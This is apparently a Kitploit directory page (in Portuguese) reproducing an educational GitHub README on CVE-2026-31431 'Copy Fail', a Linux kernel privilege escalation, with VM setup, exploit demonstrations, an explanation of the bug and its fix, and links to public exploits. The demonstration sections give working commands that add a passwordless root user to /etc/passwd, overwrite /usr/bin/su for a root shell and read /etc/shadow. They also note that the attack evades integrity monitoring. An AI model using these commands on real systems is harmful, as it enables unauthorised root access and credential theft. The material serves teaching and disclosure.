Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-31431-CopyFail-Linux-PrivEsc — Uma demonstração e explicação do CVE-2026-31431 | Kitploit
Ferramentas/GitHubGitHub/john-popovici/cve-2026-31431-copyfail-linux-privesc
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoAprendizado e EducaçãoExploração de Binários
GitHubjohn-popovici/cve-2026-31431-copyfail-linux-privesc

CVE-2026-31431-CopyFail-Linux-PrivEsc

Uma demonstração e explicação do CVE-2026-31431

Ver Repositório

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
1há 3 mesesAinda não revisado

CVE-2026-31431 CopyFail Escalação Local de Privilégios no Linux

Uma demonstração e explicação do CVE-2026-31431, a vulnerabilidade de Escalação Local de Privilégios Copy Fail do Kernel Linux. A vulnerabilidade permite que arquivos abertos com permissão de leitura tenham dados sobrescritos no cache de páginas.

Este repositório é apenas para fins educacionais e ilustra a vulnerabilidade em um ambiente controlado. Os arquivos incluídos são:

root@kitploit:~
├── exploit
│   ├── copy_fail.py            # Custom exploit that can target any file with read permissions
│   ├── original_payload.txt    # A copy of the payload used in the original exploit
│   ├── copy_fail_original.py   # Original exploit that overwrites /usr/bin/su
│   └── copy_fail_readable.py   # Original exploit in a more readable format with an explanation of the payload
├── README.md
└── Vagrantfile                 # Setup for the Vagrant VM running Ubuntu 22.04

Introdução

A vulnerabilidade, chamada Copy Fail, está presente nos kernels do Linux de 2017 a 2026 devido a uma falha lógica em algif_aead. Ela recebeu o CVE-2026-31431 com pontuação CVSS de 7,8, resultando em uma classificação de alta gravidade. O exploit é determinístico e pode contornar ferramentas tradicionais de monitoramento de integridade de arquivos.

Provas de conceito foram publicadas em várias linguagens, incluindo C, Python e Go, mas para esta demonstração é usado Python, que exige a versão 3.10 ou superior. Este exploit requer execução local de código como um usuário sem privilégios e pode ser usado para escalação local de privilégios.

As seções abaixo são:

  • Exploração: Demonstrações do exploit e como ele pode ser usado para obter privilégios de root.
  • Nota sobre a Detecção da Exploração: Uma explicação de por que este exploit é difícil de detectar com ferramentas tradicionais de monitoramento de integridade de arquivos.
  • Vulnerabilidade: Um link para o commit que introduziu a vulnerabilidade e uma explicação do problema.
  • Correção: Um link para o commit que corrigiu a vulnerabilidade e uma explicação da correção.
  • Recursos Adicionais: Uma lista de recursos para leitura adicional e implementações do exploit em várias linguagens.

Exploração

Configuração

Certifique-se de ter o Vagrant e o QEMU instalados. Em seguida, clone este repositório e navegue até o diretório do projeto.

root@kitploit:~
vagrant up
vagrant ssh

Dentro da VM, podemos testar os limites das nossas capacidades.

root@kitploit:~
id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # We are prompted for the root password, which we do not have

stat /usr/bin/su # We have read and execute permissions
stat /etc/passwd # We have read permission
stat /etc/shadow # We have no permissions

Obviamente, somos limitados em nossas capacidades, mas podemos usar a vulnerabilidade para escalar privilégios.

Demonstração de Exploração 1: Entendendo o Exploit

Para entender a vulnerabilidade, vamos sobrescrever um arquivo fictício e ver o que acontece.

root@kitploit:~
echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt

Temos um arquivo com três linhas. A primeira linha tem 6 bytes (incluindo a nova linha), a segunda linha tem 2 bytes e a terceira linha tem um único byte. Isso é importante porque o exploit sobrescreve dados em blocos de 4 bytes, e preenchemos o payload para completá-lo.

root@kitploit:~
python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt

Podemos ver que substituímos os primeiros 8 bytes do arquivo pelo nosso payload. Há dois caracteres que estão lá, mas não são imprimíveis. Abra o arquivo no nano para verificar. Mas isso não é muito empolgante, então vamos prosseguir para escrever em arquivos para os quais não temos permissão de escrita.

Demonstração de Exploração 2: Removendo a Senha do Root

Podemos sobrescrever o conteúdo de /etc/passwd para adicionar um usuário com privilégios de root, mas sem senha.

root@kitploit:~
cat /etc/passwd

A primeira linha contém o usuário root e contém 8 grupos de 4 caracteres (incluindo a nova linha). Ela é formatada da seguinte forma root:x:0:0:root:/root:/bin/bash, e os valores se referem a nome de usuário, senha, UID, GID, diretório home e shell.

root@kitploit:~
python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd

Adicionamos um novo usuário hackd com UID 0 e GID 0, o que significa que ele tem privilégios de root. O campo de senha está vazio, então podemos fazer login sem senha.

root@kitploit:~
su hackd
id
cat /etc/shadow

Demonstração de Exploração 3: Sobrescrevendo um Executável

No exploit original, o binário /usr/bin/su é sobrescrito com instruções para executar um shell, permitindo que o atacante obtenha privilégios de root ao executar su. Podemos recriar este exploit mirando /usr/bin/su com o payload original de um arquivo. Observe que isso destrói o binário su no cache de páginas.

root@kitploit:~
python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt

Com o payload no lugar, podemos executar su e obter privilégios de root. Isso abre um shell com o ID de usuário 0, que normalmente é o usuário root, mas se a demonstração acima foi realizada, seria o usuário hackd que criamos. Este exploit abriria um shell mesmo se o usuário root tivesse uma senha.

root@kitploit:~
su
id

Nota sobre a Detecção da Exploração

Este exploit não modifica o arquivo em disco, mas sim o estado do cache de páginas. Como resultado, ferramentas tradicionais de monitoramento de integridade de arquivos que verificam alterações nos arquivos em disco não detectam este exploit.

Para demonstrar isso, execute o(s) exploit(s) acima e, após reiniciar a VM, verifique o conteúdo do arquivo alvo.

root@kitploit:~
vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # The file is unchanged on disk

Vulnerabilidade

Os seguintes componentes são usados no exploit:

  1. splice
    • Passa dados entre descritores de arquivo sem cópia
    • Modificar uma mensagem "spliced" também modifica o cache de páginas
  2. recvmsg
    • Recebe informações canalizadas e move dados para o buffer para operação criptográfica
    • As entradas AD e CT são copiadas, TAG é passada por referência AD||CT||TAG
  3. authensc
    • Existe a suposição de que apenas AD e CT são modificados, mas aythensc quebra isso
    • AD é dividido em seqno_hi e seqno_lo, e authensc troca a ordem deles in-place copiando-o após TAG
    • seqno_hi||seqno_lo||CT||TAG -> seqno_lo||seqno_hi||CT||TAG||seqno_lo
    • Esta sequência é copiada para o local de referência

O commit que habilitou a otimização in-place que criou esta vulnerabilidade:

https://github.com/torvalds/linux/commit/72548b093ee38a6d4f2a19e6ef1948ae05c181f7

Correção

A correção foi feita sem nenhum anúncio público e remove a funcionalidade da operação in-place em algif_aead:

https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5

Recursos Adicionais

Leia Mais:

  • https://copy.fail/
  • https://nvd.nist.gov/vuln/detail/CVE-2026-31431
  • https://xint.io/blog/copy-fail-linux-distributions
  • https://www.bugcrowd.com/blog/what-we-know-about-copy-fail-cve-2026-31431/

Implementações em Python

  • https://github.com/theori-io/copy-fail-CVE-2026-31431
  • https://github.com/Astro-Johnny/copy-fail-CVE-2026-31431
  • https://github.com/cryptopepy/copy-fail-CVE-2026-31431

Implementações em C

  • https://github.com/tgies/copy-fail-c
  • https://github.com/pyroceper/copy-fail-CVE-2026-31431
  • https://github.com/huberteff/copy-fail-CVE-2026-31431

Implementações em Go

  • https://github.com/badsectorlabs/copyfail-go
  • https://github.com/3jee/copy-fail-go
Baixar ferramenta